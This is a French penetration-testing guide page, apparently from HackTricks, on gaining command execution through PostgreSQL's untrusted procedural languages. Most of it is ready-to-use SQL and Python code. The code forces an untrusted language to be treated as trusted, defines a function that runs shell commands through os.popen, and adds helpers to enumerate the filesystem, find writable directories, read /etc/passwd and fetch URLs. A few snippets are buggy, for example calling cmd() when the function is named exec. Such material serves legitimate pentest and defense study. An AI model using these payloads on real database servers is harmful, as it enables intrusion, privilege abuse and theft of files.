6.8 KiB
RCE avec les langages PostgreSQL
{{#include ../../../banners/hacktricks-training.md}}
Langages PostgreSQL
La base de données PostgreSQL à laquelle vous avez accès peut avoir différents langages de script installés que vous pourriez exploiter pour exécuter du code arbitraire.
Vous pouvez les faire fonctionner :
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
La plupart des langages de script que vous pouvez installer dans PostgreSQL ont 2 saveurs : la fiable et la non fiable. La non fiable aura un nom se terminant par "u" et sera la version qui vous permettra d'exécuter du code et d'utiliser d'autres fonctions intéressantes. Voici des langages qui, s'ils sont installés, sont intéressants :
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (tout autre langage de programmation utilisant une version non sécurisée)
Warning
Si vous constatez qu'un langage intéressant est installé mais non fiable par PostgreSQL (
lanpltrusted
estfalse
), vous pouvez essayer de lui faire confiance avec la ligne suivante afin qu'aucune restriction ne soit appliquée par PostgreSQL :UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu'; # Pour vérifier vos permissions sur la table pg_language SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
Caution
Si vous ne voyez pas un langage, vous pouvez essayer de le charger avec (vous devez être superadmin):
CREATE EXTENSION plpythonu; CREATE EXTENSION plpython3u; CREATE EXTENSION plperlu; CREATE EXTENSION pljavaU; CREATE EXTENSION plrubyu;
Notez qu'il est possible de compiler les versions sécurisées en tant que "non sécurisées". Consultez ceci par exemple. Il vaut donc toujours la peine d'essayer si vous pouvez exécuter du code même si vous ne trouvez que la version fiable installée.
plpythonu/plpython3u
{{#tabs}} {{#tab name="RCE"}}
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
{{#endtab}}
{{#tab name="Obtenir l'utilisateur OS"}}
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
{{#endtab}}
{{#tab name="Lister le répertoire"}}
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
{{#endtab}}
{{#tab name="Trouver le dossier W"}}
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
{{#endtab}}
{{#tab name="Trouver le fichier"}}
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
{{#endtab}}
{{#tab name="Trouver des exécutables"}}
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
{{#endtab}}
{{#tab name="Trouver exec par subs"}}
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
{{#endtab}}
{{#tab name="Read"}}
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
{{#endtab}}
{{#tab name="Obtenir des autorisations"}}
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
{{#endtab}}
{{#tab name="Request"}}
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
{{#endtab}} {{#endtabs}}
pgSQL
Vérifiez la page suivante :
{{#ref}} pl-pgsql-password-bruteforce.md {{#endref}}
C
Vérifiez la page suivante :
{{#ref}} rce-with-postgresql-extensions.md {{#endref}}
{{#include ../../../banners/hacktricks-training.md}}